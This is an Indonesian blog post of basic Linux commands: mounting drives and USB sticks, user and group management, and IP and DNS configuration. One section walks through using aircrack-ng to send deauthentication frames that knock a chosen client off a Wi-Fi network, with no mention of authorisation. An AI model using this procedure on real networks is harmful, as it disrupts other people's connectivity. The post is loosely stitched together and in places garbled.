Kamis, 31 Maret 2011

PERINTAH -PERINTAH LINUX


1.Mengakses/mengaktifkan CD-ROM dengan perintah linux
 Mengaktifkan cd room: mount /dev/ hdb /mnt/cdrom
Skrip enusb dan unusb Untuk memudahkan pengaksesan data pada USB Flashdisk, maka kita akan membuat dua buah skrip yang berfungsi untuk mengaktifkan dan menon-aktifkan flashdisk. Kita tidak akan menginstalasi paket program semacam hotplug karena kita tidak menginginkan adanya proses yang running dan menggunakan memori kita padahal kita tidak setiap saat membutuhkannya. Sebelum membuat file-file skrip tersebut, maka kita buat dulu direktori tujuan untuk instruksimount sebagai berikut:  Setelah cd-rom terpasang Anda dapat memeriksa dengan perintah disk bebas (df) bahwa itu adalah benar dipasang di   direktori / cdrom:
$ df
   Filesystem 1024-blok
Digunakan Kapasitas Tersedia Mount pada
/ dev/sda1 2974519 1516768 1303931 54% /
/ dev/sda3 2686158 2378788 153548 94% / home
  / dev / hdc 603646 603646 0 100% / cdrom
Membaca device (fdd, hdd, cdd)
Mengaktifkan  CDROM/DVDROM
Pembacaan device ini pada dasarnya otomatis, jika tidak menggunakan perintah berikut
#/$ mount /mnt/cdrom
#/$ mount/media/cdrom
Mengaktifkan hardisk
Melalui tiga tahap berikut
Buat direktori mount point (missal: /mnt/drive_c)
Cari posisi hardisk dengan perintah
#/$ fdisk –l
Lakukan pembacaan dengan
#/$ mount /dev/hda1 /mnt/drive_c
2 . Mengaktifkan floppy disk/flasdisk
#/$ mount /dev/fd0 /mnt/floppy
Struktur dari perintah diatas : [perintah] [device yang diaktifkan] [direktori mountpoint]
Atau bisa dengan perintah berikut
#/$ mount /mnt/floppy
#/$ mount /media/floppy
Menghentikan pembacaan
#/$ umount /mnt/floppy
#/$ umount /media/floppy
Mengakses USB Flashdisk di Linux
mkdir /mnt/flashdisk
Selanjutnya, gunakan program editor favorit Anda dan ketik skrip berikut dan simpan dengan nama file enusb. Skrip ini digunakan untuk mengaktifkan USB Flashdisk dengan direktori/mnt/flashdisk sebagai tujuan mount.
Nah, karena kita selalu bekerja sebagai root, maka kita dapat menciptakan dan mengedit file di direktori /usr/local/bin. Jadi langsung saja ketikkan perintah: mcedit /usr/local/bin/enusb dan ketikkan skrip di bawah ini.
echo Loading usbcore module…
/sbin/modprobe usbcore
echo Loading usb-uhci module…
/sbin/modprobe usb-uhci
echo Loading usb-storage module…
/sbin/modprobe usb-storage
echo Wait a second…
sleep 1
echo Mounting it to /mnt/flashdisk…
mount -t vfat /dev/sda1 /mnt/flashdisk
echo Done. Please try something like: ls /mnt/flashdisk
Menampilkan informasi nama pengenal device untuk flashdisk
yang dikenali oleh linux sebagai hardisk jenis SCSI (sdX) #dmesg | grep sd
Membuat direktory akses (mount point)
#mkdir /media/flashdisk
Mengakses isi flashdisk menggunakan perintah "mount"
#mount /dev/sdx /media/flashdisk
Menampilkan isi flashdisk yang dimount ke directory/media/flashdisk
#cd /media/flashdisk
#pwd
#ls
5. Melepas akses ke flashdisk (umount)
#cd
#umount /media/flashdisk
3.Manajemen User & Group
User Tertinggi --> root (raja)
-membuat user baru
#useradd namauser
-mengatur password user
#passwd namauser
-Membuat group baru
#groupadd namagroup
Menghapus group
#groupdel namagroup
file yang menampung informasi user,password & group
user : /etc/passwd
password : /etc/shadow
group : /etc/group
#cat /etc/passwd
#cat /etc/group
#cat /etc/shadow <-- hanya dapat dibaca oleh root
contoh:
#cat /etc/passwd
budi:x:500:500:Budi Santoso:/home/budi:/bin/bash
namauser:password_terenkripsi:uid:gid:komentar:home_directory:shell_yg_digunakan
NB: password yang terenkripsi disimpan dalam /etc/shadow
---untuk mengetahui shell-shell yang ada di linux
#cat /etc/shells
---menampilkan shell yang sedang digunakan saat ini #ps
-Menghapus password user (user akan login tanpa password)
#passwd -d nama_user
-Menonaktifkan account user linux
#usermod -L nama_user
Perintah – Perintah Dasar Linux
STMIK Bumigora Mataram Halaman 4
-Mengaktifkan kembali user
#usermod -U nama_user
User --> Badu UID:500 |
GID:500 | --ijin akses (permission)
0-100 oleh system
101-499 oleh aplikasi
500-___ user_biasa
#cat /etc/group
nama_login:x:GID:____________
nama_login:password_group:GID:anggota_group
---membuat group baru dengan nama marketing
#groupadd marketing
-Menampilkan informasi UID&GID serta keanggotaan group
#id nama_user
-Mengatur keanggotaan group user
#usermod -G nama_group nama_user
contoh:  #user mod -G marketing nama_user
-Menghapus user
#userdel nama_user
-Menghapus user beserta direktory home user
#userdel -r nama_user
-Mengganti nama group
#groupmod -n nama_baru_group nama_group_yg_diubah
User = untuk mengetahui pengguna di dalam operating sistem linux itu tersendiri.
:~# <spasi>adduser<spasi> fhaical adham
Group= untuk mengetahui suatu organisasi didalam operating sistem linux itu tersendiri.
:~#<spasi>addgroup<spasi>smk2 tkj
4. CARA MEMUTUS JARINGAN NETWORK
cara menhapus jaringan Network,cukup dengan menggunakan OS Linux, misal Ubuntu, dengan software Aircrack-ng, seperangkat software yang digunakan untuk meng-crack. Namun tutorial ini hanya membahas sebagian dari kegunaan aircrack-ng.
Pertama, login dulu ke Ubuntu anda. Pada tutorial ini saya menggunakan Ubuntu 10.10 Maverick Meerkat. Lalu buka Terminal dan jalankan perintah:
sudo apt-get install aircrack-ng
Setelah terinstall, hidupkan adapter WLAN anda, lalu ketikkan:
sudo iwconfig
Perangkat yang bertuliskan “no wireless extensions” berarti bukan WLAN Adapter anda. Semisal adapter anda dikenali sebagai wlan1, maka ketikkan perintah:
sudo airmon-ng start wlan1
Lalu akan muncul tulisan:
Found 6 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
850 NetworkManager
863 avahi-daemon
883 avahi-daemon
886 wpa_supplicant
887 dhclient
1545 dhclient
Process with PID 1545 (dhclient) is running on interface wlan0
Interface Chipset Driver
wlan0 Broadcom b43 - [phy0]
(monitor mode enabled on mon0)
Perintah itu berarti kita mengaktifkan modus monitor pada wlan1 kita, yang lalu dikenal sebagai mon0. Setelah itu, kita akan men-scan jaringan yang akan kita kerjain. :D
airodump mon0
BSSID berarti MAC Address pemancar/servernya. STATION berarti client yang terkoneksi pada jaringan itu. Pada Tab PWR (Power) yang bernilai nol, berarti itu adalah perangkat anda sendiri. Hati-hati. INGAT! Anda tidak perlu terkoneksi ke jaringan untuk memutus koneksi client ke jaringan ini. Selanjutnya, tentukan target. Lalu ketikkan perintah:
sudo aireplay-ng --deauth 100 -a [BSSID_MAC] -c [CLIENT_MAC] mon0
Dengan:
aireplay-ng adalah software pemutusnya.
--deauth adalah perintah pemutusnya.
100 adalah jumlah serangan yang akan dikirimkan, bisa berapa saja asal bulat.
[BSSID_MAC] adalah MAC Address pemancar/atau server suatu jaringan.
[CLIENT_MAC] adalah MAC Address target anda.
mon0 adalah perangkat virtual Wi-Fi anda.
Setelah perintah dijalankan, tunggu sampai proses pemutusan selesai, lalu lihat khasiatnya.
1. Mengaktifkan Network
untuk melakukan penyetingan ip addres pada linux kita bisa menggunakan perintah ifconfig , sebelum melakukan setingan kita harus melihat NIC(network Interface card) yang terdeteksi pada komputer kita dan jangan lupa anda harus sebagai user root untuk melakukan setingan ini .
ifconfig -a
hasilnya,
eth0      Link encap:Ethernet  HWaddr 00:0C:29:87:A4:4F
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:13335 errors:0 dropped:0 overruns:0 frame:0
          TX packets:8 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:966223 (943.5 KiB)  TX bytes:4720 (4.6 KiB)
          Interrupt:16 Base address:0x2000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)
nah dari perintah diatas ditunjukan bahwa NIC kita terdeteksi sebagai eth0 . nah kita bisa memberikan alamat ip address pada NIC kita dengan perintah
Perintah :
ifconfig [NIC] [IP_ADDRESS] netmask [NETMASK_NYA]
Contoh :
ifconfig eth0 192.168.123.25 netmask 255.255.255.0
setelah mengetikan perintah tersebut , anda bisa melakukan pengecekan apakah ip address anda sudah berubah dengan perintah yang sama saat anda melihat NIC . setelah kita melakukan seting ip address maka kita bisa menambahkan gateway , jika pada jaringan LAN kita memiliki gateway .
Perintah :
route add default gw [IP_GATE_WAY]
Contoh :
route add default gw 192.168.123.1
setelah selesai maka pada tahap ini seting network telah selesai , namun jika anda masih memiliki beberapa setingan lain seperti DNS kita bisa juga menambahkanya . seperti pada Windows sebuah NIC bisa memiliki lebih dari satu alamat IP address dan memiliki gateway juga . nah sebagai tambahan saya akan menerangkannya sedikit .
Untuk menambahkan DNS pada komputer kita dengan perintah :
Perintah:
echo "nameserver [ip_DNS] >> [LETAK_FILE_CONFIGURASI]"
Contoh:
echo "nameserver 10.14.203.7" >> /etc/resolv.conf
untuk pemberian ip address yang lain pada NIC yang sama kita bisa menggunakan alias ,dimana alias ditulis dengan menuliskan NIC terlebih dahulu kemudian diikuti dengan angka yang dimulai dari 0 (nol) , sebagai contoh : eth0:0 , eth0:1 , eth0:2 , dan seterusnya sesuai dengan banyak nya alias yang ingin kita tambahkan . untuk permberian gateway juga sama , dengan menambahkan alias pada akhir perintah
Perintah :
ifconfig [NIC_ALIAS] [IP_ADDRESS] netmask [NETMASK_NYA]
Contoh:
ifconfig eth0:0 172.18.5.25 netmask 255.255.0.0
ifconfig eth0:1 10.14.10.25 netmask 255.0.0.0
Pada pemberian Alamat Gateway
Perintah :
route add default gw [IP_GATE_WAY] [NIC_ALIAS]
Contoh :
route add default gw 172.18.5.1 eth0:0
route add default gw 10.14.10.1 eth0:1
sebenarnya perintah settingan diatas bersifat sementara , settingan akan hilang jika komputer direstart kecuali pada setting penambahan alamat DNS . agar settingan tidak berubah maka kita harus mengubah file konfigurasinya ,
 2.Edit File Configuration
Pada beberapa Distro Linux , file konfigurasi memiliki letak yang berbeda . Untuk
slackware dan turunannya letak file konfigurasi network terletak pada /etc/rc.d/rc.inet1.conf sedangkan untuk Debian dan turunannya seperti Ubuntu terletak pada /etc/network/interfaces . untuk melakukan perubahan kita bisa menggunakan text editor seperti mc , vim , pico ,kate , gedit dan masih banyak lagi. kita akan melakukan setting pada slackware dengan perintah\
vim /etc/rc.d/rc.inet1.conf
isi dari file tersebut adalah sebagai berikut
# Config information for eth0:
IPADDR[0]=""
NETMASK[0]=""
USE_DHCP[0]=""
DHCP_HOSTNAME[0]=""
# Config information for eth1:
IPADDR[1]=""
NETMASK[1]=""
USE_DHCP[1]=""
DHCP_HOSTNAME[1]=""
# Default gateway IP address:
GATEWAY=""
untuk setting kita bisa menambahkan sesuai dengan ketentuan , setting disesuaikan dengan LAN pada jaringan kita dan NIC yang terdeteksi . Contoh konfigurasi :
# Config information for eth0:
IPADDR[0]="192.168.123.25"
NETMASK[0]="255.255.255.0"
USE_DHCP[0]=""
DHCP_HOSTNAME[0]=""
# Config information for eth1:
IPADDR[1]=""
NETMASK[1]=""
USE_DHCP[1]=""
DHCP_HOSTNAME[1]=""
# Default gateway IP address:
GATEWAY="192.168.123.1"
setelah di setting maka kita save hasil konfigurasi tersebut dan kemudian restart lah ethernet/NIC nya , dimana letak file nya terdapat pada /etc/rc.d/rc.inet1 . maka perintah tersebut dijalankan :
/etc/rc.d/rc.inet1 restart
vim /etc/network/interfaces
auto lo
iface lo inet loopback
iface eth0 inet static
address
netmask
gateway
auto eth0
sekarang di ubah sesuai dengan jaringan LAN anda
iface lo inet loopback
iface eth0 inet static
address 192.168.123.25
netmask 255.255.255.0
gateway 192.168.123.1
auto eth0    setelah di setting sekarang di save dan restart ethetnet nya. /etc/init.d/networking restart


BOLEH DICOPAS TAPI TOLONG FOLLOW YACHH ...........
THANKS SETIA BLOG ...............
SMOGA SUKSES

Tidak ada komentar: